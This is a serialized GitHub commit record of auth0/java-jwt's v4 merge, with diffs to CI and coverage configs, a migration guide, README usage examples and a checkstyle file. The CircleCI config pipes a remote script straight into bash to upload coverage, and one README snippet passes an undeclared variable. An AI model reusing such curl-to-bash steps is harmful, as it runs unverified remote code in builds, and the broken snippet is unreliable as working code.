U1ZWFjMmRmYzU5Zjc3NzVjZGUxODccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T13:04:02Zu	committer}(jO  GitHubjQ  noreply@github.comjS  2022-05-06T13:04:02Zumessage5Merge pull request #583 from auth0/v4-dev

Merging v4tree}(jG  (4d7537459152e5fc80cd95b7ada325a2f2937a61url^https://api.github.com/repos/auth0/java-jwt/git/trees/4d7537459152e5fc80cd95b7ada325a2f2937a61uj_  `https://api.github.com/repos/auth0/java-jwt/git/commits/4b64d9ee8977d9c32b55eac2dfc59f7775cde187
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJidRzCCRBK7hj4Ov3rIwAAObYIACFUt5vw3VOOEPseNvBdRtgu
IKfOTOzYwutv+MCgFJk7lkxSB6lDORD0AEGcMAbMw3qI0GyIgKkHQ23uns0tsbhO
BHbPudZ8KZX1XqxLVsX8slQYKCNRoNs4bezZabfDgHvOaHfWPQ6mIx9Dbd6VSCLx
h4B/w6+B5XzWWLAInZMh9ZsWFMCi/oQuIp90XgHi/6Z/oMFcqJKxAPfzbL4LHFbj
Dqlamg+IymP9Axq3vKzUfnDesnAHhKWJ6Rdz90HTDu8k7DqqwPbR0+ddQXpEAUcy
r4vzNw1B3fQ1vxKtUJj0SEC7CFDSwj9+je4AhoYE6dFJSnYnfuloFD3G46IgMmg=
=Hstz
-----END PGP SIGNATURE-----
payloadX7  tree 4d7537459152e5fc80cd95b7ada325a2f2937a61
parent 1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f
parent 02d09e585927c256eaf4c235db87c45170fb979f
author Poovamraj T T <poovamraj@gmail.com> 1651842242 +0200
committer GitHub <noreply@github.com> 1651842242 +0200

Merge pull request #583 from auth0/v4-dev

Merging v4uuj_  \https://api.github.com/repos/auth0/java-jwt/commits/4b64d9ee8977d9c32b55eac2dfc59f7775cde187html_urlQhttps://github.com/auth0/java-jwt/commit/4b64d9ee8977d9c32b55eac2dfc59f7775cde187comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/commentsjM  }(login	poovamrajidJ jI  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j_  &https://api.github.com/users/poovamrajjm  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujU  }(jr  web-flowjt  J/jI  MDQ6VXNlcjE5ODY0NDQ3jv  4https://avatars.githubusercontent.com/u/19864447?v=4jx  h3j_  %https://api.github.com/users/web-flowjm  https://github.com/web-flowj{  /https://api.github.com/users/web-flow/followersj}  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jG  (1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj_  \https://api.github.com/repos/auth0/java-jwt/commits/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fjm  Qhttps://github.com/auth0/java-jwt/commit/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fu}(jG  (02d09e585927c256eaf4c235db87c45170fb979fj_  \https://api.github.com/repos/auth0/java-jwt/commits/02d09e585927c256eaf4c235db87c45170fb979fjm  Qhttps://github.com/auth0/java-jwt/commit/02d09e585927c256eaf4c235db87c45170fb979fuestats}(totalM.	additionsM	deletionsM|	ufiles](}(jG  (f47d6efa1efeae105d6fc56655187857273288d9filename.circleci/config.ymlstatusmodifiedj  K#j  KchangesK7blob_urlfhttps://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187patchX  @@ -23,15 +23,15 @@ commands:
           name: Upload Coverage
           when: on_success
           command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.html
-
+#  TODO re-enable once 4.0.0 is released
+#  run-api-diff:
+#    steps:
+#      # run apiDiff task
+#      - run: ./gradlew apiDiff
+#      - store_artifacts:
+#          path: lib/build/reports/apiDiff/apiDiff.txt
+#      - store_artifacts:
+#          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -43,21 +43,36 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
+#  api-diff:
+#    docker:
+#      - image: openjdk:11.0-jdk
+#    steps:
+#      - checkout-and-build
+#      - run-api-diff
+#    environment:
+#      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+#      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+#      TERM: dumb
+  semgrep:
     docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
+      - image: returntocorp/semgrep-agent:v1
     environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
+      SEMGREP_REPO_NAME: "auth0/java-jwt"
+      SEMGREP_REPO_URL: "https://github.com/auth0/java-jwt"
+    steps:
+      - checkout
+      - run:
+          name: Run vulnerabilities tests (Semgrep)
+          command: |
+            semgrep-agent --baseline-ref master --publish-token $SEMGREP_TOKEN
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diff
+      - semgrep:
+          context:
+            - semgrep-env
+#  api-diff:
+#    jobs:
+#      - api-diffu}(jG  (de278af264a074fa68a1e3b2f81e0910a58382f6j  .codecov.ymlj  modifiedj  Kj  K j  Kj  \https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/.codecov.ymlj  [https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/.codecov.ymlj  nhttps://api.github.com/repos/auth0/java-jwt/contents/.codecov.yml?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  @@ -11,5 +11,6 @@ coverage:
     project:
       default:
         target: auto
+        threshold: 1%
         if_no_uploads: error
 comment: false
\ No newline at end of fileu}(jG  (c47b95c2369e9409f4ed353fa9674924c401d923j  MIGRATION_GUIDE.mdj  addedj  KUj  K j  KUj  bhttps://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/MIGRATION_GUIDE.mdj  ahttps://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/MIGRATION_GUIDE.mdj  thttps://api.github.com/repos/auth0/java-jwt/contents/MIGRATION_GUIDE.md?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X7  @@ -0,0 +1,85 @@
+# Migration Guide
+
+## Upgrading from v3.x -> v4.0
+
+The version 4 release contains several improvements:
+
+- Support for `java.time.Instant` when creating or verifying JWTs with Numeric Date claim values.
+- Improvements to JWT claim validation, including support for custom claim validation using Predicates.
+- Improved exception handling when validating JWTs, to better inform of the reason for failed validation.
+- Consistent handling of `null` claim values both when creating and validation JWTs.
+
+This guide captures the changes you should be aware of when planning and upgrading to version 4.
+
+### Compile or runtime breaking changes
+
+**Classes or methods removed:**
+- The `impl` package has been removed as an export in `module-info.java`. This package contains implementation-specific code that may change at any point.
+- Support for the ES256K algorithm has been removed, as it is disabled in Java 15+. The `Algorithm#ECDSA256K(ECDSAKeyProvider keyProvider)` and `Algorithm#ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey)` methods have been removed.
+- `com.auth0.jwt.interfaces.Clock` has been removed. Instead, an implementation of `java.time.Clock` can be passed to the `BaseVerification` for testing purposes.
+- `com.auth0.jwt.impl.NullClaim` has been removed. `Claim#isNull` can be used to determine if a claim's value is `null`.
+- `com.auth0.jwt.impl.PublicClaims` was removed, and replaced by `com.auth0.jwt.RegisteredClaims` and `com.auth0.jwt.HeaderParams`.
+- `com.auth0.jwt.interfaces.Verification#withAnyOfAudience` no longer provides a default implementation.
+
+### Behavioral potentially breaking changes
+
+#### JWT creation
+
+- All date/time claim values are now serialized as **seconds since the epoch**, in both the payload and header. In version 3, date/time claims nested in a list or map, as well as any header parameters with date/time values, were serialized as milliseconds since the epoch. 
+- When creating a JWT, passing `null` as the value no longer removes the claim if it was previously added to the builder. It now adds the claim with a `null` value.
+
+#### JWT validation
+
+- In version 3, specifying multiple claim expectations for the same claim name would override any previous expectations for that claim. In version 4, all expectations for that claim will be validated.
+- In version 3, passing `null` for the value of a claim expectation would remove that expectation from the validation. In version 4, passing `null` does not remove that expectation, but instead validates that the claim has the literal value `null`.
+- When validating a JWT, if an expected claim is present in the JWT but contains a value different from the one expected, an `IncorrectClaimException` (subclass of `InvalidClaimException`) will now be thrown instead of an `InvalidClaimException`.
+- When validating a JWT, if an expected claim is not present in the JWT, an `MissingClaimException` (subclass of `InvalidClaimException`) will now be thrown instead of an `InvalidClaimException`.
+- `withClaimPresence(String claimName)` now validates that the claim is present in the JWT, and a claim with a `null` value is considered present. Previously, a claim with a value of `null` would be considered as missing and fail the validation.
+- When validating a date/time claim value, the validation no longer checks for strict equality of the claim's value and the provided `Date` (or `Instant`). Instead, the expected `Date` or `Instant` will be compared to the claim's value only considering seconds (because JWT date/time claims are represented as seconds since the epoch).
+
+#### Claim changes
+
+- `com.auth0.jwt.interfaces.Claim#isNull()` now returns true only if the claim is present and its value is `null`. Previously, it returned true if the claim was present and its value was `null`, or if the claim was not present in the JWT. To check if the claim is present or not in the JWT, use `isMissing()`.
+
+### New classes or methods
+
+#### `IncorrectClaimException` added
+
+This class extends `InvalidClaimException` and represents that when validating a JWT, an expected claim exists in the JWT but does not match the expected value.
+
+#### `MissingClaimException` added
+
+This class extends `InvalidClaimException` and represents that when validating a JWT, an expected claim is missing from the JWT.
+
+#### `HeaderParams` added
+
+This class contains constants representing common header parameter names.
+
+#### `RegisteredClaims` added
+
+This class contains constants representing the registered claim names.
+
+#### `JWTCreator` new methods
+
+- `JWTCreator.Builder#withExpiresAt(Instant expiresAt)` - adds the `exp` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withNotBefore(Instant notBefore)` - adds the `nbf` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withIssuedAt(Instant issuedAt)` - adds the `iat` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withClaim(String claimName, Instant value)` - adds a claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withNullClaim(String claimName)` - adds a claim to the JWT with the literal value `null`.
+
+#### `DecodedJWT` new methods
+
+- `Instant getExpiresAtAsInstant()` - Returns a JWT's `exp` claim as a `java.time.Instant`.
+- `Instant getNotBeforeAsInstant()` - Returns a JWT's `nbf` claim as a `java.time.Instant`.
+- `Instant getIssuedAtAsInstant()` - Returns a JWT's `iat` claim as a `java.time.Instant`.
+
+#### `Claim` new methods
+
+- `Instant asInstant()` - Gets a claim as a `java.time.Instant`.
+- `boolean isMissing()` - Returns whether the claim is present or not.
+
+#### `Verification` new methods
+
+- `Verification withClaim(String name, Instant value)` - Adds an expectation that a claim with the provided name has a value equal to the provided `java.time.Instant`.
+- `Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate)` - Allows for a claim to be validated with the supplied predicate. 
+- `Verification withNullClaim(String name)` - Adds an expectation that a claim with the provided name has a value equal to the literal `null`.u}(jG  (f649a7422a7796f5e5f5bc30e97ea28d0021a779j  	README.mdj  modifiedj  Kj  K\j  Kj  Yhttps://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XVE  @@ -13,12 +13,35 @@ A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.or
 
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
-> This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.
+> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
+
+## Table of Contents
+- [**Requirements**](#requirements)
+- [**Installation**](#installation)
+- [**Available Algorithms**](#available-algorithms)
+- [**Quickstart**](#quickstart)
+  + [**Create and Sign a Token**](#create-and-sign-a-token)
+  + [**Verify a Token**](#verify-a-token)
+- [**Usage**](#usage)
+  + [**Pick the algorithm**](#pick-the-algorithm)
+  + [**Time Validation**](#time-validation)
+  + [**Header Claims**](#header-claims)
+  + [**Payload Claims**](#payload-claims)
+  + [**Claim Class**](#claim-class)
+- [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
+
+## Requirements
+
+This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
 
 ## Installation
 
-The library is available on both Maven Central and Bintray, and the Javadoc is published [here](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html).
- 
+### Gradle
+
+```gradle
+implementation 'com.auth0:java-jwt:3.19.0'
+```
+
 ### Maven
 
 ```xml
@@ -51,73 +74,9 @@ The library implements JWT Verification and Signing using the following algorith
 | ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
 | ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
 
-⚠️ Note - ECDSA with curve secp256k1 and SHA-256 will not be supported for Java 15+ by this library since it has been (disabled in Java 15)[https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219]
-
-## Usage
-
-### Pick the Algorithm
-
-The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
-
-When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
-
-
-#### Using static secrets or keys:
-
-```java
-//HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret");
-
-//RSA
-RSAPublicKey publicKey = //Get the key instance
-RSAPrivateKey privateKey = //Get the key instance
-Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
-```
-
-> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
-
-##### HMAC Key Length and Security
-
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
-
-#### Using a KeyProvider:
-
-By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
-
-- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
-- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
-- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
-
-
-The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
-
-```java
-final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
-final RSAPrivateKey privateKey = //Get the key instance
-final String privateKeyId = //Create an Id for the above key
-
-RSAKeyProvider keyProvider = new RSAKeyProvider() {
-    @Override
-    public RSAPublicKey getPublicKeyById(String kid) {
-        //Received 'kid' value might be null if it wasn't defined in the Token's header
-        RSAPublicKey publicKey = jwkStore.get(kid);
-        return (RSAPublicKey) publicKey;
-    }
-
-    @Override
-    public RSAPrivateKey getPrivateKey() {
-        return privateKey;
-    }
-
-    @Override
-    public String getPrivateKeyId() {
-        return privateKeyId;
-    }
-};
+> Note - Support for ECDSA with curve secp256k1 and SHA-256 (ES256K) has been dropped since it has been [disabled in Java 15](https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219)
 
-Algorithm algorithm = Algorithm.RSA256(keyProvider);
-//Use the Algorithm to create and verify JWTs.
-```
+## Quickstart
 
 ### Create and Sign a Token
 
@@ -139,9 +98,10 @@ You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. U
 * Example using `RS256`
 
     ```java
-    RSAPrivateKey privateKey = //Get the private key instance
+    RSAPublicKey publicKey = //Get the key instance
+    RSAPrivateKey privateKey = //Get the key instance
     try {
-        Algorithm algorithm = Algorithm.RSA256(null, privateKey); // only the private key is used for signing
+        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
         String token = JWT.create()
             .withIssuer("auth0")
             .sign(algorithm);
@@ -152,7 +112,6 @@ You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. U
 
 If a Claim couldn't be converted to JSON or the Key used in the signing process was invalid a `JWTCreationException` will raise.
 
-
 ### Verify a Token
 
 You'll first need to create a `JWTVerifier` instance by calling `JWT.require()` and passing the `Algorithm` instance. If you require the token to have specific Claim values, use the builder to define them. The instance returned by the method `build()` is reusable, so you can define it once and use it to verify different tokens. Finally call `verifier.verify()` passing the token.
@@ -162,7 +121,7 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
     ```java
     String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
     try {
-        Algorithm algorithm = Algorithm.HMAC256("secret");
+        Algorithm algorithm = Algorithm.HMAC256("secret"); //use more secure key
         JWTVerifier verifier = JWT.require(algorithm)
             .withIssuer("auth0")
             .build(); //Reusable verifier instance
@@ -177,8 +136,9 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
     ```java
     String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
     RSAPublicKey publicKey = //Get the key instance
+    RSAPrivateKey privateKey = //Get the key instance
     try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, null); // only the public key is used during verification
+        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
         JWTVerifier verifier = JWT.require(algorithm)
             .withIssuer("auth0")
             .build(); //Reusable verifier instance
@@ -190,8 +150,93 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
 
 If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
 
+<details>
+<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
+
+### Decode a Token
+
+> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
+
+```java
+String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
+try {
+    DecodedJWT jwt = JWT.decode(token);
+} catch (JWTDecodeException exception){
+    //Invalid token
+}
+```
+
+If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
+
+</details>
 
-#### Time Validation
+## Usage
+
+### Pick the Algorithm
+
+The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
+
+When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
+
+
+#### Using static secrets or keys:
+
+```java
+//HMAC
+Algorithm algorithmHS = Algorithm.HMAC256("secret"); //use more secure key
+
+//RSA
+RSAPublicKey publicKey = //Get the key instance
+RSAPrivateKey privateKey = //Get the key instance
+Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
+```
+
+> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
+
+##### :key: HMAC Key Length and Security
+
+When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+
+#### Using a KeyProvider:
+By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
+
+- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
+- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
+- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
+
+
+The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
+
+```java
+final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
+final RSAPrivateKey privateKey = //Get the key instance
+final String privateKeyId = //Create an Id for the above key
+
+RSAKeyProvider keyProvider = new RSAKeyProvider() {
+    @Override
+    public RSAPublicKey getPublicKeyById(String kid) {
+        //Received 'kid' value might be null if it wasn't defined in the Token's header
+        RSAPublicKey publicKey = jwkStore.get(kid);
+        return (RSAPublicKey) publicKey;
+    }
+
+    @Override
+    public RSAPrivateKey getPrivateKey() {
+        return privateKey;
+    }
+
+    @Override
+    public String getPrivateKeyId() {
+        return privateKeyId;
+    }
+};
+
+Algorithm algorithm = Algorithm.RSA256(keyProvider);
+//Use the Algorithm to create and verify JWTs.
+```
+
+
+### Time Validation
 
 The JWT token may include DateNumber fields that can be used to validate that:
 * The token was issued in a past date `"iat" < TODAY`
@@ -217,30 +262,16 @@ JWTVerifier verifier = JWT.require(algorithm)
     .build();
 ```
 
-If you need to test this behaviour in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a custom `Clock`. e.g.:
+If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
 
 ```java
 BaseVerification verification = (BaseVerification) JWT.require(algorithm)
     .acceptLeeway(1)
     .acceptExpiresAt(5);
-Clock clock = new CustomClock(); //Must implement Clock interface
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
 JWTVerifier verifier = verification.build(clock);
 ```
 
-### Decode a Token
-
-```java
-String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-try {
-    DecodedJWT jwt = JWT.decode(token);
-} catch (JWTDecodeException exception){
-    //Invalid token
-}
-```
-
-If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
-
-
 ### Header Claims
 
 #### Algorithm ("alg")
@@ -330,6 +361,12 @@ Returns the Expiration Time value or null if it's not defined in the Payload.
 Date expiresAt = jwt.getExpiresAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant expiresAt = jwt.getExpiresAtAsInstant();
+```
+
 #### Not Before ("nbf")
 
 Returns the Not Before value or null if it's not defined in the Payload.
@@ -338,6 +375,12 @@ Returns the Not Before value or null if it's not defined in the Payload.
 Date notBefore = jwt.getNotBefore();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant notBefore = jwt.getNotBeforeAsInstant();
+```
+
 #### Issued At ("iat")
 
 Returns the Issued At value or null if it's not defined in the Payload.
@@ -346,6 +389,12 @@ Returns the Issued At value or null if it's not defined in the Payload.
 Date issuedAt = jwt.getIssuedAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant issuedAt = jwt.getIssuedAtAsInstant();
+```
+
 #### JWT ID ("jti")
 
 Returns the JWT ID value or null if it's not defined in the Payload.
@@ -375,6 +424,7 @@ When creating a Token with the `JWT.create()` you can specify a custom Claim by
 String token = JWT.create()
         .withClaim("name", 123)
         .withArrayClaim("array", new Integer[]{1, 2, 3})
+        .withNullClaim("claim_name")
         .sign(algorithm);
 ```
 
@@ -394,6 +444,9 @@ You can also verify custom Claims on the `JWT.require()` by calling `withClaim()
 JWTVerifier verifier = JWT.require(algorithm)
     .withClaim("name", 123)
     .withArrayClaim("array", 1, 2, 3)
+    .withNullClaim("null_value") //checks if the claim name provided has null value
+    .withClaimPresence("claim_presence") //checks if the claim name provided is in the payload
+    .withClaim("predicate", (claim, decodedJWT) -> "custom_check".equals(claim.asString())) //can be used to run custom verification
     .build();
 DecodedJWT jwt = verifier.verify("my.jwt.token");
 ```
@@ -410,7 +463,10 @@ The Claim class is a wrapper for the Claim values. It allows you to get the Clai
 * **asDouble()**: Returns the Double value or null if it can't be converted.
 * **asLong()**: Returns the Long value or null if it can't be converted.
 * **asString()**: Returns the String value or null if it can't be converted.
-* **asDate()**: Returns the Date value or null if it can't be converted. This must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
+* **asInstant()**: Returns the Instant value or null if it can't be converted.
+* **asDate()**: Returns the Date value or null if it can't be converted.
+
+> For `asInstant()` and `asDate()` the value must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
 
 #### Custom Classes and Collections
 To obtain a Claim as a Collection you'll need to provide the **Class Type** of the contents to convert from.u}(jG  (b97ccc373f73d86939bcb5469c34e5ffb3198b2cj   config/checkstyle/checkstyle.xmlj  addedj  Mfj  K j  Mfj  thttps://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/config%2Fcheckstyle%2Fcheckstyle.xmlj  shttps://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/config%2Fcheckstyle%2Fcheckstyle.xmlj  https://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  XpK  @@ -0,0 +1,358 @@
+<?xml version="1.0"?>
+<!DOCTYPE module PUBLIC
+        "-//Checkstyle//DTD Checkstyle Configuration 1.3//EN"
+        "https://checkstyle.org/dtds/configuration_1_3.dtd">
+
+<!--
+    Checkstyle configuration that checks the Google coding conventions from Google Java Style
+    that can be found at https://google.github.io/styleguide/javaguide.html
+
+    Checkstyle is very configurable. Be sure to read the documentation at
+    http://checkstyle.org (or in your downloaded distribution).
+
+    To completely disable a check, just comment it out or delete it from the file.
+    To suppress certain violations please review suppression filters.
+
+    Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
+ -->
+
+<module name = "Checker">
+    <property name="charset" value="UTF-8"/>
+
+    <property name="severity" value="error"/>
+
+    <property name="fileExtensions" value="java, properties, xml"/>
